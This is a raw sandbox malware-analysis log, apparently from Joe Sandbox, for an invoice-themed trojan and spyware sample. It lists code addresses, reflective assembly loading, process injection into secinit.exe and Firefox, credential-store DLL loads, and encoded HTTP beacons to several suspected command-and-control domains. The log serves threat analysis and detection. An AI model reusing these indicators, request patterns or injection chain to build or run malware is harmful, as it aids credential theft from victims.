Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0325CFE0	6_2_0325CFE0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03242FC8	6_2_03242FC8
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0330EE26	6_2_0330EE26
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03250E59	6_2_03250E59
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0330CE93	6_2_0330CE93
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03262E90	6_2_03262E90
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0330EEDB	6_2_0330EEDB
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0325AD00	6_2_0325AD00
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032ECD1F	6_2_032ECD1F
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03268DBF	6_2_03268DBF
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0324ADE0	6_2_0324ADE0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03250C00	6_2_03250C00
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032F0CB5	6_2_032F0CB5
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03240CF2	6_2_03240CF2
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0330132D	6_2_0330132D
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0323D34C	6_2_0323D34C
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0329739A	6_2_0329739A
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032552A0	6_2_032552A0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032F12ED	6_2_032F12ED
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0326B2C0	6_2_0326B2C0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0328516C	6_2_0328516C
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0323F172	6_2_0323F172
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0331B16B	6_2_0331B16B
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0325B1B0	6_2_0325B1B0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0330F0E0	6_2_0330F0E0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_033070E9	6_2_033070E9
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032FF0CC	6_2_032FF0CC
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032570C0	6_2_032570C0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0330F7B0	6_2_0330F7B0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03295630	6_2_03295630
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_033016CC	6_2_033016CC
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03307571	6_2_03307571
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032ED5B0	6_2_032ED5B0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_033195C3	6_2_033195C3
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0330F43F	6_2_0330F43F
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03241460	6_2_03241460
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0330FB76	6_2_0330FB76
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0326FB80	6_2_0326FB80
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0328DBF9	6_2_0328DBF9
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032C5BF0	6_2_032C5BF0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032C3A6C	6_2_032C3A6C
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03307A46	6_2_03307A46
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0330FA49	6_2_0330FA49
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032EDAAC	6_2_032EDAAC
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03295AA0	6_2_03295AA0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032F1AA3	6_2_032F1AA3
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032FDAC6	6_2_032FDAC6
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032E5910	6_2_032E5910
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03259950	6_2_03259950
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0326B950	6_2_0326B950
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032BD800	6_2_032BD800
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032538E0	6_2_032538E0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0330FF09	6_2_0330FF09
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0330FFB1	6_2_0330FFB1
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03251F92	6_2_03251F92
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03213FD2	6_2_03213FD2
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03213FD5	6_2_03213FD5
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03259EB0	6_2_03259EB0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03307D73	6_2_03307D73
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03253D40	6_2_03253D40
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03301D5A	6_2_03301D5A
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0326FDC0	6_2_0326FDC0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032C9C32	6_2_032C9C32
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0330FCF2	6_2_0330FCF2
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02AD1E90	6_2_02AD1E90
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02ACAF60	6_2_02ACAF60
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02ACCF70	6_2_02ACCF70
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02ACCD47	6_2_02ACCD47
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02ACCD50	6_2_02ACCD50
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02ACB0AF	6_2_02ACB0AF
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02ACB0B0	6_2_02ACB0B0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02ACB0F9	6_2_02ACB0F9
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02AD36FB	6_2_02AD36FB
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02AD3700	6_2_02AD3700
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02AD5500	6_2_02AD5500
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_02AEBB90	6_2_02AEBB90
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0356E2C3	6_2_0356E2C3
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0356E1A4	6_2_0356E1A4
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0356D728	6_2_0356D728
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_0356E65C	6_2_0356E65C

Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: String function: 0162B970 appears 280 times
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: String function: 016AEA12 appears 86 times
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: String function: 01687E54 appears 111 times
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: String function: 016BF290 appears 105 times
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: String function: 01675130 appears 58 times
Source: C:\Windows\SysWOW64\secinit.exe	Code function: String function: 03297E54 appears 111 times
Source: C:\Windows\SysWOW64\secinit.exe	Code function: String function: 032CF290 appears 105 times
Source: C:\Windows\SysWOW64\secinit.exe	Code function: String function: 0323B970 appears 280 times
Source: C:\Windows\SysWOW64\secinit.exe	Code function: String function: 03285130 appears 58 times
Source: C:\Windows\SysWOW64\secinit.exe	Code function: String function: 032BEA12 appears 86 times

Source: INVOICE, PACKING LIST, COPY BL.exe, 00000000.00000002.1420525696.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs INVOICE, PACKING LIST, COPY BL.exe
Source: INVOICE, PACKING LIST, COPY BL.exe, 00000000.00000002.1422967015.0000000006E60000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs INVOICE, PACKING LIST, COPY BL.exe
Source: INVOICE, PACKING LIST, COPY BL.exe, 00000000.00000000.1388796538.0000000000730000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameztaV.exe@ vs INVOICE, PACKING LIST, COPY BL.exe
Source: INVOICE, PACKING LIST, COPY BL.exe, 00000000.00000002.1423761452.00000000079F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs INVOICE, PACKING LIST, COPY BL.exe
Source: INVOICE, PACKING LIST, COPY BL.exe, 00000000.00000002.1418547740.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs INVOICE, PACKING LIST, COPY BL.exe
Source: INVOICE, PACKING LIST, COPY BL.exe, 00000003.00000002.1752989038.000000000172D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs INVOICE, PACKING LIST, COPY BL.exe
Source: INVOICE, PACKING LIST, COPY BL.exe, 00000003.00000002.1752656882.0000000001198000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesecinitj% vs INVOICE, PACKING LIST, COPY BL.exe
Source: INVOICE, PACKING LIST, COPY BL.exe	Binary or memory string: OriginalFilenameztaV.exe@ vs INVOICE, PACKING LIST, COPY BL.exe

Source: INVOICE, PACKING LIST, COPY BL.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: INVOICE, PACKING LIST, COPY BL.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, Y89yuXlRbWJQaoDrKK.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, Y89yuXlRbWJQaoDrKK.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, Y89yuXlRbWJQaoDrKK.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, YudlFeIlxJFsmZRCjZ.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, YudlFeIlxJFsmZRCjZ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, YudlFeIlxJFsmZRCjZ.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, YudlFeIlxJFsmZRCjZ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, Y89yuXlRbWJQaoDrKK.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, Y89yuXlRbWJQaoDrKK.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, Y89yuXlRbWJQaoDrKK.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@6/5

Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\INVOICE, PACKING LIST, COPY BL.exe.log

Source: INVOICE, PACKING LIST, COPY BL.exe	ReversingLabs: Detection: 47%
Source: INVOICE, PACKING LIST, COPY BL.exe	Virustotal: Detection: 32%			Perma Link

Source:	Binary string: secinit.pdbGCTL source: INVOICE, PACKING LIST, COPY BL.exe, 00000003.00000002.1752656882.0000000001198000.00000004.00000020.00020000.00000000.sdmp, 2zqVCuEmR.exe, 00000005.00000002.2642194522.000000000155E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: INVOICE, PACKING LIST, COPY BL.exe, 00000003.00000002.1752989038.0000000001600000.00000040.00001000.00020000.00000000.sdmp, secinit.exe, 00000006.00000003.1752868899.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, secinit.exe, 00000006.00000002.2643722597.00000000033AE000.00000040.00001000.00020000.00000000.sdmp, secinit.exe, 00000006.00000002.2643722597.0000000003210000.00000040.00001000.00020000.00000000.sdmp, secinit.exe, 00000006.00000003.1756481965.0000000003064000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: INVOICE, PACKING LIST, COPY BL.exe, INVOICE, PACKING LIST, COPY BL.exe, 00000003.00000002.1752989038.0000000001600000.00000040.00001000.00020000.00000000.sdmp, secinit.exe, secinit.exe, 00000006.00000003.1752868899.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, secinit.exe, 00000006.00000002.2643722597.00000000033AE000.00000040.00001000.00020000.00000000.sdmp, secinit.exe, 00000006.00000002.2643722597.0000000003210000.00000040.00001000.00020000.00000000.sdmp, secinit.exe, 00000006.00000003.1756481965.0000000003064000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: secinit.pdb source: INVOICE, PACKING LIST, COPY BL.exe, 00000003.00000002.1752656882.0000000001198000.00000004.00000020.00020000.00000000.sdmp, 2zqVCuEmR.exe, 00000005.00000002.2642194522.000000000155E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: 2zqVCuEmR.exe, 00000005.00000002.2641515194.0000000000E2F000.00000002.00000001.01000000.0000000C.sdmp, 2zqVCuEmR.exe, 00000007.00000002.2643227394.0000000000E2F000.00000002.00000001.01000000.0000000C.sdmp

Source: C:\Windows\SysWOW64\secinit.exe	Code function: 4x nop then xor eax, eax		6_2_02AC9EA0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 4x nop then mov ebx, 00000004h		6_2_035604E8

Source:	DNS query: www.physicsbrain.xyz
Source:	DNS query: www.autonomousrich.xyz

Source: Joe Sandbox View	IP Address: 192.64.118.221 192.64.118.221
Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /i9o2/?lD28M=8NMLjrEX&o8I=eeVMOLNT7Wv5dPd1V7fF3d7wbVEZ0Ymjpf1j0+DhWbaaRP3NDl28Px2LHOiznaPSxG5Xa8rlCZjeYW1RU+5lmJ9SS7h7GpbOR0Ih6QylNPIlDDPXgKAPXKjWtP8cuJHPWQ== HTTP/1.1Host: www.physicsbrain.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MASMJS)
Source: global traffic	HTTP traffic detected: GET /s3u9/?o8I=UzjCSVSddvdCY8C2KpgECGgzR3gby2SVeHfhkJM3nHWcSpz3gZ2Mu5mgzC51fDOgl0cc0ISzjbohHF66d8TEsPEdOrzND6qrSzk1cnsXMxQ/Woon90MFrB7EZZ9A9paTig==&lD28M=8NMLjrEX HTTP/1.1Host: www.bydotoparca.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MASMJS)
Source: global traffic	HTTP traffic detected: GET /sps0/?o8I=XJrqUIwA9BqFEGe4zPJcFFH+FWeIVG8ka5W/N1g8G7k0/aUxIXiyzXPqBkPj84XroFellg4Bg0NpGuCwGUgLHVI0emb0fq3SPjbmnsy01DHgj+3XsA+9UNATNHrkVJu7Rw==&lD28M=8NMLjrEX HTTP/1.1Host: www.car-select.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MASMJS)
Source: global traffic	HTTP traffic detected: GET /g9qz/?o8I=J9sRrZ4fqsb/1Q6AIA+8pauKL/kc/YnlctC80LIvBLslcKLdVtpBX2y3nBvKVl1xysCjrJ6Q3kV9G4g20t4jVg6G/hudG0nqqZ6hYWzTP4BH7K0jhDAwFujk6Ut9TYQuCA==&lD28M=8NMLjrEX HTTP/1.1Host: www.topked.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MASMJS)
Source: global traffic	HTTP traffic detected: GET /5l58/?lD28M=8NMLjrEX&o8I=mzKLqUgWNSOc0HClXj1DYw25iXyF4NDDzKLO7iktqSi1e8VIoGhrLQ80YJoT2UJy6ZdaxC2wU3x58VDwsjwy75MJV3VtnNq0OSNjen8RmThW2Bit8HxG0xB8ZqPFXeAi4g== HTTP/1.1Host: www.autonomousrich.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MASMJS)
Source: global traffic	HTTP traffic detected: GET /eee1/?o8I=n9kO9VSsPKocZxga8wMP7ZC/yNhYo/MYHbvIjRRvOevNyFmmshV66n7ll9r5u+VXxmlOglvHHE9+Zbjf/X+X+gqcpnFv5fdVnQSXxkRXfk4Q5CwHoK9c2oYwmaFtGgt8pA==&lD28M=8NMLjrEX HTTP/1.1Host: www.corellia.proAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MASMJS)

Source: global traffic	DNS traffic detected: DNS query: www.physicsbrain.xyz
Source: global traffic	DNS traffic detected: DNS query: www.bydotoparca.net
Source: global traffic	DNS traffic detected: DNS query: www.car-select.online
Source: global traffic	DNS traffic detected: DNS query: www.topked.top
Source: global traffic	DNS traffic detected: DNS query: www.autonomousrich.xyz
Source: global traffic	DNS traffic detected: DNS query: www.corellia.pro

Source: unknown	Process created: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe "C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe"
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process created: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe "C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe"
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Process created: C:\Windows\SysWOW64\secinit.exe "C:\Windows\SysWOW64\secinit.exe"
Source: C:\Windows\SysWOW64\secinit.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Process created: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe "C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe"	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Process created: C:\Windows\SysWOW64\secinit.exe "C:\Windows\SysWOW64\secinit.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\gwHbVoFLxuyEBRpvpyyhYgoypUBiIObXYYxowDrytdnYEacYRzTJqnCNWzxRHNDqtrQkZ\2zqVCuEmR.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.79f0000.4.raw.unpack, Y89yuXlRbWJQaoDrKK.cs	.Net Code: CMeBfvN5Or System.Reflection.Assembly.Load(byte[])
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.46dc698.2.raw.unpack, Y89yuXlRbWJQaoDrKK.cs	.Net Code: CMeBfvN5Or System.Reflection.Assembly.Load(byte[])
Source: 0.2.INVOICE, PACKING LIST, COPY BL.exe.6e60000.3.raw.unpack, MainForm.cs	.Net Code: _206D_206A_206B_200E_200F_206F_206E_200C_200F_202B_202E_206A_200C_202A_200C_206D_200C_206F_200C_206E_202E_200B_202B_200D_206C_206C_200E_200D_200D_200F_206D_206F_206A_206F_200D_206C_202C_206D_206C_206C_202E System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 0_2_07054133 push ecx; ret	0_2_07054134
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0041F003 pushfd ; iretd	3_2_0041F01B
